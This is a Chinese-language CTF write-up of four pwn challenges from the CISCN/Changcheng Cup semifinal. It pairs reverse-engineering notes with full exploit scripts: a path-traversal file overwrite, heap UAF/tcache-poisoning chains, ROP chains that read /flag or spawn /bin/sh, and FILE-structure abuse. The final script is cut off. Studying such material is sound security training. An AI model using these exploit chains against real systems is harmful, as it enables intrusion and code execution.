CISCN&长城杯 半决赛awdp pwn-all-break
CISCN&长城杯 半决赛awdp pwn-all-break
本文用agent走了一遍,存在部分环境差异,供参考
UpNodeTrap
这题表面上给了一个体积很大的 ELF,可一开始就不该把精力浪费在整套 V8/Node 运行时上。用 IDA Pro看入口后可以直接确认:
main在0x1ce47f0main只做一件事,调用node::Start(0x8b1460)node::Start继续走node::sea::FixupArgsForSEA(0x9d3520) 和node::NodeMainInstance::Run(0x965db0)
也就是说,pwn 本体只是 Node v25.8.0 运行时,不是题目自定义的 native pwn 逻辑。运行时再做一次确认:
./pwn -p 'process.version'
./pwn -p 'require("node:sea").isSea()'
可以看到版本是 v25.8.0,而且 isSea() 为 false,说明这也不是带内嵌资源的单文件 Node 应用。真正的漏洞点在外部脚本 app.js。
1. 入口函数
IDA 里 _start 很干净,直接把控制流交给 main。
2. main 逻辑
反编译结果等价于:
int main(int argc, char **argv, char **envp) {
return node::Start(argc, argv, envp);
}
这一步已经足够说明:ELF 只是宿主运行时。
3. node::Start 逻辑
node::Start 内部主要做这些事:
node::sea::FixupArgsForSEAInitializeOncePerProcessInternalLoadSnapshotDatanode::NodeMainInstance::Run
这些都是标准 Node 启动路径,没有看到题目自定义的 native bridge,也没有看到额外的危险导出。于是分析重点应当切到 app.js。
JS Audit
核心逻辑在 /upload:
const { filename, content } = data;
const filePath = path.join(uploadsDir, filename);
fs.writeFile(filePath, content, err => {
...
});
对应源码位置:
问题非常直接:filename 完全可控,而且没有做 ..、绝对路径、规范化后的目录前缀校验。
uploadsDir 是:
path.join(__dirname, 'uploads')
因此传入:
../index.html
最终落点会变成:
<challenge_dir>/index.html
而首页路由每次请求都会重新读取磁盘上的 index.html:
这意味着覆盖 index.html 不需要重启,立刻生效。
Exploit
#!/usr/bin/env python3
import argparse
import json
import sys
import urllib.error
import urllib.request
DEFAULT_HTML = """<!DOCTYPE html>
<html>
<body>
<h1>pwned</h1>
<script>
fetch('/env')
.then((r) => r.json())
.then((d) => {
document.body.insertAdjacentHTML(
'beforeend',
'<pre>' + JSON.stringify(d, null, 2) + '</pre>'
);
});
</script>
</body>
</html>
"""
def request(url: str, method: str = "GET", body: bytes | None = None, headers=None):
req = urllib.request.Request(url, data=body, method=method)
for key, value in (headers or {}).items():
req.add_header(key, value)
with urllib.request.urlopen(req) as resp:
return resp.status, resp.read()
def main() -> int:
parser = argparse.ArgumentParser(
description="Exploit UpNodeTrap arbitrary file write via /upload"
)
parser.add_argument(
"--base",
default="http://127.0.0.1:9999",
help="target base URL, default: %(default)s",
)
parser.add_argument(
"--dest",
default="../index.html",
help="path traversal destination relative to uploads/, default: %(default)s",
)
parser.add_argument(
"--payload-file",
help="read payload content from file",
)
parser.add_argument(
"--content",
help="inline payload content",
)
parser.add_argument(
"--verify",
action="store_true",
help="GET / after upload and print the first 200 bytes",
)
args = parser.parse_args()
if args.payload_file:
with open(args.payload_file, "r", encoding="utf-8") as fp:
content = fp.read()
elif args.content is not None:
content = args.content
else:
content = DEFAULT_HTML
data = json.dumps({"filename": args.dest, "content": content}).encode()
try:
status, body = request(
args.base.rstrip("/") + "/upload",
method="POST",
body=data,
headers={"Content-Type": "application/json"},
)
except urllib.error.HTTPError as exc:
print(f"[!] upload failed: HTTP {exc.code}")
print(exc.read().decode(errors="replace"))
return 1
except OSError as exc:
print(f"[!] request failed: {exc}")
return 1
print(f"[+] upload status: {status}")
print(body.decode(errors="replace"))
if args.verify:
try:
status, body = request(args.base.rstrip("/") + "/")
except Exception as exc:
print(f"[!] verification failed: {exc}")
return 1
print(f"[+] GET / status: {status}")
print(body[:200].decode(errors="replace"))
return 0
if __name__ == "__main__":
sys.exit(main())
easy_rw_revenge
这题的核心不是 proxy,而是内部 pwn 的多阶段堆利用:
strcmp(MD5_raw, digest)导致鉴权绕过add(-1)触发 free 后malloc失败,留下 UAF- largebin attack 改小块记录大小
- tcache poisoning 造任意分配
- 任意分配落到栈上,完成返回地址劫持
1. 题目结构
这套附件实际上分成两层:
proxy:监听0.0.0.0:9999,负责一层自定义包头/XOR、认证和 cookie。pwn:监听127.0.0.1:7777,真正的堆题逻辑都在这里。
用 IDA Pro主要确认了以下函数:
proxy0x1ACC:认证逻辑0x1BE9:cookie 校验后转发到127.0.0.1:77770x1E20:包头解析、XOR 解码、按 magic 分发
pwn0x1509:命令解析0x1770:seccomp,只 ban 了execve0x1869:add0x1A00:delete0x1B07:edit0x1C26:show0x1D86:单次请求处理0x263F:主循环
2. proxy 分析
2.1 自定义协议
proxy 每个包格式是:
- 16 字节头
u32 magicu64 xor_keyu32 length
- 随后是
length字节 body - body 会被
xor_key[i & 7]异或
magic 有两种:
0xffff2525:认证0x7f687985:转发
2.2 认证弱点
sub_1ACC 会:
- 调
sub_1827生成 32 字节伪随机 key。 - 用它初始化 RC4。
- 把 body 原地 RC4。
- 判断结果是否等于
#welcome!_c1sCn_2026。
关键问题在 sub_1827:
- 每次认证都
srand(time(NULL)) - 然后直接
rand()生成 32 字节
这意味着外层认证不是密码学安全的,只要枚举附近秒级时间戳,就可以重建 RC4 key stream。
2.3 cookie 转发
认证成功后:
- 生成 32 字节 cookie
- append 到
cookies.bin - 回传给客户端
转发包要求:
- body 前 32 字节是 cookie
- 剩余数据原样发送给内部
pwn
因此 proxy 更像一个外层包装,真正漏洞点在内部服务。
3. pwn 协议与鉴权
pwn 的协议前缀固定为:
rtsp://<username>/
后面跟命令,例如:
{add:size:index:data}
{edit:index:x:data}
{show:index:x:}
{delete:index:x:}
3.1 MD5 鉴权绕过
sub_1D86 里对用户名做 MD5 后,拿 16 字节原始摘要和常量做 strcmp。
这是个典型错误:
- MD5 原始摘要不是字符串
- 其中一旦出现
\x00,strcmp就会提前结束
常量摘要前缀是:
64 40 00 ...
所以只要找一个用户名,使它的 MD5 前三个字节也是 64 40 00,就能绕过。
本地可用用户名:
OnkI
它的 MD5 是:
6440001ddb3fb9ab106b55f74f7dbd01
4. 堆漏洞链
4.1 add 失败后的 UAF
add 的逻辑是:
- 如果当前槽位非空且
size > 0x500,先free(old_ptr) - 然后
malloc(new_size) - 如果
malloc失败,直接返回
但是它只在 malloc 成功后才更新 ptr/size。
所以可以这样做:
- 先分配一个大块到某槽位。
- 再
add:-1:<idx>:...
由于 malloc(-1) 失败:
- 老 chunk 已经被 free
- 但全局表里的
ptr/size还是旧值
这就得到一个经典 UAF。
4.2 first largebin attack
全局堆表位于 .bss:
- 基址:
PIE + 0x5040 - 每项 16 字节:
ptr | size idx2.size地址:PIE + 0x5068
利用目标是把小块 idx2 的记录大小从 0x100 改成一个大于 0x500 的值,这样后续 delete(idx2) 才会真的调用 free。
稳定布局如下:
idx0 = add(0xa00),作为父块,后续保留 UAF 视角idx1 = add(0x540),largebin 同桶辅助块idx9 = add(0x20),防止 top 合并add(-1, idx0),free 父块并保留悬挂指针idx2 = add(0x100),在父块头部拿到一个小块idx3 = add(0x550),在父块内部构造 large chunkp1idx8 = add(0x390),吃掉剩余空间delete(idx3),freep1idx4 = add(0x700),把p1从 unsorted 送入 largebindelete(idx1),再放一个同桶块p2
此时通过 show(idx0) 可以从 UAF 视角看到 p1 的 four pointers:
+0x110:fd+0x118:bk+0x120:fd_nextsize+0x128:bk_nextsize
把 bk_nextsize 改成:
(PIE + 0x5068) - 0x20
再触发一次同桶分配:
add(0x700, idx5, ...)
就能把 idx2.size 改写成一个堆地址。
4.3 变成可 double free 的小块
改完以后:
delete(idx2)
因为记录大小已经大于 0x500,这个原本的 0x110 小块会真的被 free 进 tcache。
4.4 tcache poisoning
idx0 仍然保留着对这块小 chunk 的悬挂指针,而且它自己的记录大小还是 0xa00。
于是可以反复做:
edit(idx0, b'\\x00' * 16),把 tcache key 清零add(-1, idx0, ...),再次 free 同一个小块,且malloc失败后悬挂指针仍保留
这样就能绕过 tcache double-free 检查,把同一个 chunk 多次压入 tcache。
后续流程:
- pop 一次,拿回原 chunk
- 利用 UAF 写入伪造的 safe-linking fd
- pop 第二次
- pop 第三次,落到任意目标地址
ORW 选择 sendfile
真正收口以后,没有继续走 read + write,而是换成了更短的:
open(path, 0, 0)
sendfile(1, fd, NULL, count)
原因有两个:
- 0x100 的栈 chunk 很紧,payload 总长度必须控制在
< 0x100 sendfilewrapper 只需要把fd放进rsi,而这正好可以用xchg eax, esi ; ret很短地完成
最终 ORW 关键链如下:
ret
pop rdi ; ret -> path
pop rsi ; ret -> 0
pop rcx ; ret -> scratch
pop rdx ; or [rcx-0xa], al ; ret -> 0
pop rax ; ret -> 2
syscall ; ret -> open
xchg eax, esi ; ret -> rsi = fd
pop rdi ; ret -> 1
pop rcx ; ret -> scratch
pop rdx ; or [rcx-0xa], al ; ret -> 0
pop rcx ; ret -> count
sendfile@libc
exp
#!/usr/bin/env python3
from pwn import *
import argparse
import os
import re
import socket
import time
context.binary = ELF("./pwn", checksec=False)
context.log_level = "info"
HOST = "127.0.0.1"
PORT = 7777
USERNAME = b"OnkI"
RET_FROM_ENVIRON = 0x990
# Host-local libc gadgets validated during analysis.
POP_RDI = 0x10F78B
POP_RSI = 0x110A7D
POP_RCX = 0x0A877E
POP_RDX_SIDE = 0x0AB8A1
POP_RAX = 0x0DD237
SYSCALL = 0x098FB6
XCHG_EAX_ESI = 0x0E0F53
RET = 0x2882F
ADD_PTR_RE = re.compile(rb"ptr=(0x[0-9a-fA-F]+)")
class LocalPwn:
def __init__(self):
self.proc = process(["./pwn"], cwd=".")
self.proc.recvline()
self.proc.recvline()
libs = self.proc.libs()
self.pie = libs[os.path.abspath("./pwn")]
self.libc_base = libs["/usr/lib/x86_64-linux-gnu/libc.so.6"]
self.libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
self.target_size = self.pie + 0x5068
self.environ = self.libc_base + self.libc.sym["environ"]
self.pop_rdi = self.libc_base + POP_RDI
self.pop_rsi = self.libc_base + POP_RSI
self.pop_rcx = self.libc_base + POP_RCX
self.pop_rdx_side = self.libc_base + POP_RDX_SIDE
self.pop_rax = self.libc_base + POP_RAX
self.syscall = self.libc_base + SYSCALL
self.xchg_eax_esi = self.libc_base + XCHG_EAX_ESI
self.sendfile = self.libc_base + self.libc.sym["sendfile"]
self.exit = self.libc_base + self.libc.sym["exit"]
self.ret = self.libc_base + RET
self.scratch = self.pie + 0x51A0 + 0xA
self.chunk_addr = None
def _recv_all(self, sock):
out = b""
sock.settimeout(0.2)
while True:
try:
chunk = sock.recv(0x1000)
if not chunk:
break
out += chunk
except Exception:
break
return out
def _drain_logs(self, timeout=0.2):
lines = []
end = time.time() + timeout
while time.time() < end:
try:
line = self.proc.recvline(timeout=0.05)
except EOFError:
break
if not line:
continue
lines.append(line.rstrip(b"\n"))
end = time.time() + timeout
return lines
def req(self, body):
sock = socket.create_connection((HOST, PORT))
sock.sendall(b"rtsp://" + USERNAME + b"/" + body)
data = self._recv_all(sock)
sock.close()
time.sleep(0.03)
return data, self._drain_logs()
def add(self, size, idx, data):
body = b"{add:" + str(size).encode() + b":" + str(idx).encode() + b":" + data + b"}"
resp, logs = self.req(body)
ptr = None
for line in logs:
m = ADD_PTR_RE.search(line)
if m:
ptr = int(m.group(1), 16)
log.info(f"add(size={size}, idx={idx}) -> {resp!r} ptr={hex(ptr) if ptr else None}")
return resp, logs, ptr
def edit(self, idx, data):
body = b"{edit:" + str(idx).encode() + b":x:" + data + b"}"
resp, logs = self.req(body)
log.info(f"edit(idx={idx}) -> {resp!r}")
return resp, logs
def delete(self, idx):
body = b"{delete:" + str(idx).encode() + b":x:}"
resp, logs = self.req(body)
log.info(f"delete(idx={idx}) -> {resp!r}")
return resp, logs
def show(self, idx):
body = b"{show:" + str(idx).encode() + b":x:}"
resp, logs = self.req(body)
log.info(f"show(idx={idx}) -> {len(resp)} bytes")
return resp, logs
def bootstrap(self):
# largebin -> idx2.size
self.add(0xA00, 0, b"A")
self.add(0x540, 1, b"B")
self.add(0x20, 9, b"G")
self.add(-1, 0, b"Z")
_, _, self.chunk_addr = self.add(0x100, 2, b"C" * 8)
self.add(0x550, 3, b"D" * 8)
self.add(0x390, 8, b"E")
self.delete(3)
self.add(0x700, 4, b"F")
self.delete(1)
blob, _ = self.show(0)
patched = bytearray(blob)
patched[0x128:0x130] = p64(self.target_size - 0x20)
self.edit(0, bytes(patched[:0x130]))
self.add(0x700, 5, b"H")
self.delete(2)
def heap_key(self):
if self.chunk_addr is None:
raise RuntimeError("bootstrap() must run first")
return self.chunk_addr >> 12
def poison_to_environ(self):
heap_key = self.heap_key()
for _ in range(2):
self.edit(0, b"\x00" * 16)
self.add(-1, 0, b"K")
self.add(0x100, 6, b"L")
env_target = self.environ - 0x18
self.edit(0, p64(env_target ^ heap_key))
self.add(0x100, 7, b"M")
self.add(0x100, 1, b"PADPADP")
leak, _ = self.show(1)
environ_value = u64(leak[0x18:0x20])
log.success(f"environ = {hex(environ_value)}")
return environ_value
def poison_to_stack(self, ret_addr):
heap_key = self.heap_key()
for _ in range(3):
self.edit(0, b"\x00" * 16)
self.add(-1, 0, b"Q")
self.add(0x100, 6, b"R")
stack_target = ret_addr - 0x8
self.edit(0, p64(stack_target ^ heap_key))
self.add(0x100, 7, b"S")
return stack_target
def set_rdx(self, value):
return [self.pop_rcx, self.scratch, self.pop_rdx_side, value]
def align(self, value, size=0x10):
return (value + size - 1) & ~(size - 1)
def prepare_stack_hijack(self):
self.bootstrap()
environ_value = self.poison_to_environ()
ret_addr = environ_value - RET_FROM_ENVIRON
log.success(f"saved RIP ~= {hex(ret_addr)}")
self.poison_to_stack(ret_addr)
return ret_addr
def run_poc(self, message):
ret_addr = self.prepare_stack_hijack()
msg_off = 0xC0
msg_addr = ret_addr - 0x8 + msg_off
chain = flat(
[
self.ret,
self.pop_rdi,
1,
self.pop_rsi,
msg_addr,
*self.set_rdx(len(message)),
self.pop_rax,
1,
self.syscall,
self.pop_rdi,
0,
self.exit,
],
word_size=64,
)
payload = b"J" * 0x8 + chain
payload = payload.ljust(msg_off, b"\x00")
payload += message
if len(payload) >= 0x100:
raise ValueError("message too long for 0x100 stack chunk")
self.add(0x100, 3, payload)
time.sleep(0.2)
return self.proc.recvrepeat(1.0)
def build_orw_payload(self, ret_addr, path, count):
base = ret_addr - 0x8
path = path.rstrip(b"\x00") + b"\x00"
junk = b"J" * 0x8
placeholder = flat(
[
self.ret,
self.pop_rdi,
0,
self.pop_rsi,
0,
*self.set_rdx(0),
self.pop_rax,
2,
self.syscall,
self.xchg_eax_esi,
self.pop_rdi,
1,
*self.set_rdx(0),
self.pop_rcx,
count,
self.sendfile,
self.pop_rdi,
0,
self.exit,
],
word_size=64,
)
path_off = self.align(len(junk) + len(placeholder))
if path_off + len(path) >= 0x100:
raise ValueError("path too long for 0x100 stack chunk")
path_addr = base + path_off
chain = flat(
[
self.ret,
self.pop_rdi,
path_addr,
self.pop_rsi,
0,
*self.set_rdx(0),
self.pop_rax,
2,
self.syscall,
self.xchg_eax_esi,
self.pop_rdi,
1,
*self.set_rdx(0),
self.pop_rcx,
count,
self.sendfile,
self.pop_rdi,
0,
self.exit,
],
word_size=64,
)
payload = junk + chain
payload = payload.ljust(path_off, b"\x00") + path
return payload
def extract_file_output(self, logs, tail):
marker = b"[+] ADD_SUCCESS:"
start = None
for i, line in enumerate(logs):
if line.startswith(marker):
start = i + 1
if start is None:
return tail
data = b"".join(line + b"\n" for line in logs[start:])
return data + tail
def run_orw(self, path, count=0x400):
ret_addr = self.prepare_stack_hijack()
payload = self.build_orw_payload(ret_addr, path, count)
_, logs, _ = self.add(0x100, 3, payload)
time.sleep(0.2)
tail = self.proc.recvrepeat(1.0)
return self.extract_file_output(logs, tail)
def main():
parser = argparse.ArgumentParser(description="easy_rw_revenge local exploit")
parser.add_argument(
"--mode",
choices=["poc", "orw"],
default="orw",
help="run a minimal RIP-control POC or the local ORW chain",
)
parser.add_argument(
"--message",
default="STACK_RIP_CONTROL_OK\\n",
help="bytes to print via hijacked ROP write(1, ...)",
)
parser.add_argument(
"--path",
default="/flag",
help="file path for --mode orw",
)
parser.add_argument(
"--count",
type=lambda x: int(x, 0),
default=0x400,
help="max bytes to stream in --mode orw",
)
args = parser.parse_args()
tube = LocalPwn()
if args.mode == "poc":
out = tube.run_poc(args.message.encode())
else:
out = tube.run_orw(args.path.encode(), args.count)
print(out)
if __name__ == "__main__":
main()
broken_manager
题目信息
- 架构:
amd64 - 保护:
Full RELRO,Canary,NX,PIE - 交互: 标准菜单堆题
程序表面上是一个 16 项数组的增删改查,但真正的核心不在 glibc 堆,而在它自己实现的一个小型分配器。
关键函数
IDA 关键逻辑可以整理成下面几部分:
setup_runtime(0x1905):mmap(0x20000)一整块可读写区域,前0x4000作为sigaltstack,后面的页交给自定义 allocator 使用。init_arena(0x1329): 初始化 arena,读/dev/random生成 4 字节 key,并预留出一个 freelist 表。arena_alloc(0x14f0): 小块按0x20对齐,空闲链表节点只存 4 字节异或后的低位地址。arena_free(0x177f): 小块释放后会把 chunk 挂回 freelist,但不会清空外部数组里的指针。segv_handler(0x181f): 运行在sigaltstack上,打印 fault 地址,清空全局管理数组,然后直接再次调用main。
菜单相关函数很直白:
menu_add(0x1aad)申请并读入内容menu_delete(0x1c22)释放指针menu_show(0x1cf7)直接puts(ptr)menu_edit(0x1da6)按原尺寸重写内容
漏洞点
menu_delete 释放后只把 dword_5140[idx] 清零,没有把 qword_50C0[idx] 置空:
if (idx < 0x10 && qword_50C0[idx]) {
arena_free(&unk_5060, qword_50C0[idx]);
dword_5140[idx] = 0;
}
因此同一指针可以:
- 被重复
free - 在释放后继续
show - 在释放后继续
edit
这就是整题的入口。
自定义 allocator 的利用方式
小块 chunk 的布局是:
[4-byte header][user data ...]
其中:
- header 存的是 bin 大小编号,不是实际字节数
- freelist 头结点只保存
ptr_low32 ^ key - 被释放 chunk 的
user data前 4 字节会被改成下一个 freelist 节点
对应分配逻辑可以抽象成:
real_ptr = high32_base ^ freelist_head ^ key;
freelist_head = *(uint32_t *)real_ptr;
于是 double free 之后会出现一个很典型的状态:
- 第一次
free后,bin head 变成ptr ^ key - 第二次
free同一个 chunk 后,chunk 的前 4 字节也会被写成ptr ^ key show这个 chunk,就能直接泄露ptr ^ key
第一阶段: 通过崩溃信息恢复 arena 地址
先对 idx=0 做一次 double free,然后 show(0) 拿到:
encoded = user_ptr ^ key
接着连续三次申请同尺寸 chunk:
- 第一次重新拿回原 chunk,把前 4 字节写成
0x80808080 - 第二次再次拿回原 chunk,此时 freelist head 被更新成
0x80808080 - 第三次申请时,allocator 会把它解码成一个伪造地址并返回
随后 menu_add 内部会执行:
read(0, fake_ptr, size);
这个伪造地址不可写,立即触发 SIGSEGV。而 segv_handler 会把 fault 地址打印出来:
Invalid ptr access: 0x...
这个地址实际上是:
fault = high32_base | (0x80808080 ^ key)
于是可以恢复首个可控 chunk:
user_ptr = (fault ^ 0x80808080) ^ encoded
chunk_base = user_ptr - 4
第二阶段: 借助信号栈重入 main
setup_runtime 把前 0x4000 字节拿去做 sigaltstack。第一次崩溃后,segv_handler 并没有返回原执行流,而是直接在这个备用栈上再次调用 main。
这意味着:
- 第二轮菜单仍然可交互
- 当前执行栈已经落在
sigaltstack - 栈上的返回地址槽位可以作为新的覆盖目标
同时,segv_handler 虽然清空了 allocator 的全局数组,但没有重置 qword_50A0/qword_50A8 这组大块映射游标。所以第二轮 root arena 会稳定落在下一页,和第一轮首个 chunk 相差一个 0x4000:
second_user_chunk = first_chunk_base + 0x4000 + 4
第二轮再做一次 double free,就能得到新的 encoded = second_user_chunk ^ key2,从而求出第二轮使用的 key。
第三阶段: freelist poisoning 命中 altstack 返回地址
第二轮 double free 之后,重复以下过程:
- 第一次取回原 chunk,把前 4 字节改成
target ^ key2 - 第二次取回原 chunk,令 freelist head 更新为这个伪造值
- 第三次申请时,直接把 chunk 指针打到目标地址
这里目标选择的是当前 sigaltstack 上的一处返回地址槽位,本地偏移稳定为:
target = first_chunk_base - 0x5e8
第三次申请成功后:
show(3)可以直接把这个栈槽位当字符串输出- 该位置能稳定读到一个 libc 指针
- 本题使用的 libc 中这个泄露相对基址偏移是
0x45330
于是:
libc_base = leak - 0x45330
第四阶段: 覆盖返回地址并触发 ROP
有了任意写之后,直接把目标栈槽位改成:
pop rdi ; ret
"/bin/sh"
ret
system
最后选择菜单 5 退出。第二轮 main 退出后会沿着当前 sigaltstack 上的返回链展开,落到我们改写过的位置,最终执行 system("/bin/sh")。
拿 shell 后读 flag 即可。
#!/usr/bin/env python3
import os
from pwn import *
context.binary = elf = ELF("./pwn", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-linux-x86-64.so.2", checksec=False)
context.log_level = os.getenv("LOG", "info")
HOST = args.HOST or "x.x.x.x"
PORT = int(args.PORT or 8888)
CHUNK_SIZE = 0x100
FAULT_MARKER = 0x80808080
ARENA_STRIDE = 0x4000
STACK_SLOT_DELTA = 0x5E8
LIBC_LEAK_OFFSET = 0x45330
def start():
if args.REMOTE:
return remote(HOST, PORT)
root = os.path.abspath(os.path.dirname(__file__))
return process(
[os.path.join(root, "ld-linux-x86-64.so.2"), os.path.join(root, "pwn")],
env={"LD_LIBRARY_PATH": root},
)
def add(io, index, size, data=b""):
io.sendlineafter(b">> ", b"1")
io.sendlineafter(b"Index: ", str(index).encode())
io.sendlineafter(b"Size: ", str(size).encode())
io.sendafter(b"Content: ", data)
def delete(io, index):
io.sendlineafter(b">> ", b"2")
io.sendlineafter(b"Index: ", str(index).encode())
def show(io, index):
io.sendlineafter(b">> ", b"3")
io.sendlineafter(b"Index: ", str(index).encode())
def edit(io, index, data):
io.sendlineafter(b">> ", b"4")
io.sendlineafter(b"Index: ", str(index).encode())
io.sendafter(b"Content: ", data)
def crash_add(io, index, size):
io.sendlineafter(b">> ", b"1")
io.sendlineafter(b"Index: ", str(index).encode())
io.sendlineafter(b"Size: ", str(size).encode())
def leak_first_chunk(io):
add(io, 0, CHUNK_SIZE, b"A" * 4)
delete(io, 0)
delete(io, 0)
show(io, 0)
encoded_next = u32(io.recvn(4))
io.recvuntil(b"\n1. Add")
add(io, 1, CHUNK_SIZE, p32(FAULT_MARKER))
add(io, 2, CHUNK_SIZE, p32(FAULT_MARKER))
# The trailing newline from the size input is enough to drive read()
# into the forged pointer and raise SIGSEGV.
crash_add(io, 3, CHUNK_SIZE)
io.recvuntil(b"Invalid ptr access: 0x")
fault_ptr = int(io.recvn(12), 16)
first_user_chunk = (fault_ptr ^ FAULT_MARKER) ^ encoded_next
first_chunk_base = first_user_chunk - 4
log.info(f"encoded_next = {encoded_next:#x}")
log.info(f"fault_ptr = {fault_ptr:#x}")
log.info(f"chunk_base = {first_chunk_base:#x}")
return first_chunk_base
def overlap_altstack(io, target_addr, second_user_chunk):
add(io, 0, CHUNK_SIZE, b"B" * 4)
delete(io, 0)
delete(io, 0)
show(io, 0)
encoded_next = u32(io.recvn(4))
io.recvuntil(b"\n1. Add")
heap_key = second_user_chunk ^ encoded_next
fake_next = (target_addr ^ heap_key) & 0xFFFFFFFF
log.info(f"second_user = {second_user_chunk:#x}")
log.info(f"target_addr = {target_addr:#x}")
log.info(f"heap_key = {heap_key:#x}")
add(io, 1, CHUNK_SIZE, p32(fake_next))
add(io, 2, CHUNK_SIZE, b"0")
add(io, 3, CHUNK_SIZE, b"0")
def build_rop():
rop = ROP(libc)
pop_rdi = rop.find_gadget(["pop rdi", "ret"]).address
ret = rop.find_gadget(["ret"]).address
bin_sh = next(libc.search(b"/bin/sh\x00"))
return flat(pop_rdi, bin_sh, ret, libc.sym.system)
def main():
io = start()
first_chunk_base = leak_first_chunk(io)
second_user_chunk = first_chunk_base + ARENA_STRIDE + 4
stack_slot = first_chunk_base - STACK_SLOT_DELTA
overlap_altstack(io, stack_slot, second_user_chunk)
show(io, 3)
libc_leak = u64(io.recvn(6).ljust(8, b"\x00"))
libc.address = libc_leak - LIBC_LEAK_OFFSET
log.info(f"libc_leak = {libc_leak:#x}")
log.info(f"libc_base = {libc.address:#x}")
edit(io, 3, build_rop())
io.sendlineafter(b">> ", b"5")
if args.CMD:
io.sendline(args.CMD.encode())
io.sendline(b"exit")
print(io.recvrepeat(1).decode("latin-1", errors="replace"), end="")
return
io.interactive()
if __name__ == "__main__":
main()
minidb
Summary
这个程序是一个带哈希桶、引用计数 value 对象和单事务缓存的迷你 KV 数据库。
真正的漏洞点不在普通 SET/GET/CLONE 上,而是在 MULTI 事务实现里:
- 同一个 key 在事务中被第二次
SET时,会对旧 value 直接free(ptr),完全绕过引用计数。 - 事务对象
malloc(0x38)后不初始化,后续又会把“释放后的 tx chunk”继续当作活动事务结构使用。 - 事务 chunk 被 free 掉以后,后续
SET仍然会通过qword_4050+0x200这根全局指针继续往这个 freed chunk 里写数据。
这几步叠在一起后,可以把一个 0x40 tcache chunk 做成稳定的 UAF,并进一步改写它的 fd,把下一次 malloc(0x30/0x38) 打到任意目标地址。
IDA 还原结果
入口 main 在 0x1dfa,命令分发函数在 0x1bb4。
核心函数通过 IDA 还原后如下:
0x12e9:calc_bucket_idx,对 key 做res = res * 33 + ch,最后& 0x3f。0x1336:make_value_obj,申请len + 0x10,布局是:
struct value_obj {
uint64_t refcnt;
uint64_t len;
char data[];
};
0x1404:find_entry,在 64 个桶的单链表里按字符串精确查找。0x1468:cmd_set0x1807:cmd_clone0x1903:cmd_get0x1961:tx_start0x19cc:tx_exec0x1aad:tx_abort
数据库主结构在 qword_4050 指向的堆块里:
struct db_root {
struct entry *buckets[0x40]; // +0x000
struct tx_ctx *tx; // +0x200
uint8_t tx_active; // +0x208
};
单个条目:
struct entry {
char key[0x20]; // +0x00
struct entry *next; // +0x20
struct value_obj *value; // +0x28
};
事务上下文:
struct tx_ctx {
char key[0x20]; // +0x00
struct value_obj *old_value; // +0x20
struct value_obj *new_value; // +0x28
uint32_t dirty; // +0x30
};
漏洞根因
1. 同 key 二次 SET 直接 free
cmd_set 里事务分支的逻辑是:
if (tx_active) {
if (tx->dirty == 1 && !strcmp(tx->key, key))
free(old_ptr); // 直接 free
else {
strncpy(tx->key, key, 0x1f);
tx->old_value = old_ptr;
tx->dirty = 1;
}
tx->new_value = new_value;
}
entry->value = new_value;
问题是这里没有 dec_ref(old_ptr),而是直接 free。
如果这个旧 value 还被别的 key 通过 CLONE 共享,那么马上就会得到悬挂指针。
2. tx_start 完全不初始化事务对象
tx_start 只做:
qword_4050[0x200/8] = malloc(0x38);
tx_active = 1;
没有 memset。
如果这块内存来自刚才释放掉的 value chunk,那么其中的 dirty / old_value / new_value / key 都会继承旧内容。
3. freed tx chunk 仍然被继续写入
只要当前事务的 tx->key 和某个 alias key 命中,就能在事务仍为 active 的情况下把 tx 本体 free 掉。
但 db_root->tx 这根指针不会清空,于是下一次 SET 仍然会执行:
strncpy(tx->key, user_key, 0x1f);
tx->old_value = ptr;
tx->new_value = new_value;
tx->dirty = 1;
这就是对 freed tcache chunk 的稳定写原语。
利用链
- 创建 key
a。 MULTI- 在事务中对
a做第一次SET,并把未来 tx chunk 里的dirty预置为1。 CLONE a <bucket_key>,让<bucket_key>指向同一块 value。- 再次
SET a,直接free共享 value,得到<bucket_key>的 UAF。 EXEC结束事务,释放旧 tx 和旧 value。- 新建一个普通 key,把 tcache 里前两个
0x40chunk 消耗掉。 - 再次
MULTI,让刚才那块被 UAF 的 value chunk 重新作为tx_ctx返回。 - 对
<bucket_key>做一次 same-keySET,在tx_active == 1的前提下把 tx chunk 自己 free 掉。 - 再对另一个已存在 key 做
SET,通过strncpy(tx->key, key, ...)把这块 freed tx chunk 的fd改成目标地址的 safe-linking 编码。 - 连续两次
malloc(0x30/0x38)后,下一次同尺寸分配就能落到任意地址。
#!/usr/bin/env python3
from pwn import *
import argparse
import re
context.binary = ELF("./pwn", checksec=False)
context.log_level = "info"
def parse_maps(pid: int):
rows = []
with open(f"/proc/{pid}/maps", "r", encoding="utf-8") as fp:
for line in fp:
m = re.match(
r"([0-9a-f]+)-([0-9a-f]+)\s+\S+\s+\S+\s+\S+\s+\S*\s*(.*)",
line.strip(),
)
if not m:
continue
rows.append((int(m.group(1), 16), int(m.group(2), 16), m.group(3)))
return rows
def get_local_bases(io):
maps = parse_maps(io.pid)
heap_base = next(start for start, _, path in maps if path == "[heap]")
libc_path = next(path for _, _, path in maps if path.endswith("libc.so.6"))
libc_base = next(start for start, _, path in maps if path == libc_path)
libc = ELF(libc_path, checksec=False)
return heap_base, libc_base, libc
def send_set(io, key: bytes, value: bytes):
io.send(b"SET " + key + b"\n")
io.recvuntil(b"Value> ")
io.send(value)
sleep(0.03)
return io.recvuntil(b"> ")
def send_cmd(io, cmd: bytes):
io.sendline(cmd)
return io.recvuntil(b"> ")
def sane_token(tok: bytes) -> bool:
return all(ch not in tok for ch in (b" ", b"\n", b"\t"))
def build_fake_file(libc_base: int, libc, fake_file: int) -> bytes:
wide = fake_file + 0x100
wide_vtable = fake_file + 0x200
lock = fake_file + 0x2E0
return flat(
{
0x00: b"/bin/sh\x00",
0x20: p64(0),
0x28: p64(1),
0x88: p64(lock),
0xA0: p64(wide),
0xC0: p64(0),
0xD8: p64(libc_base + libc.sym["_IO_wfile_jumps"]),
0x100 + 0x18: p64(0),
0x100 + 0xE0: p64(wide_vtable),
0x200 + 0x68: p64(libc_base + libc.sym["system"]),
},
filler=b"\x00",
length=0x300,
)
def proven_arb_alloc(io):
heap_base, libc_base, libc = get_local_bases(io)
# Layout for the verified sequence:
# root @ heap+0x2a0
# a-value(old) @ heap+0x500
# tx0 @ heap+0x540
# freed reusable value B @ heap+0x580
# fake FILE chunk from the next large allocation @ heap+0x640
b_chunk = heap_base + 0x580
fake_chunk = heap_base + 0x640
fake_file = fake_chunk + 0x10
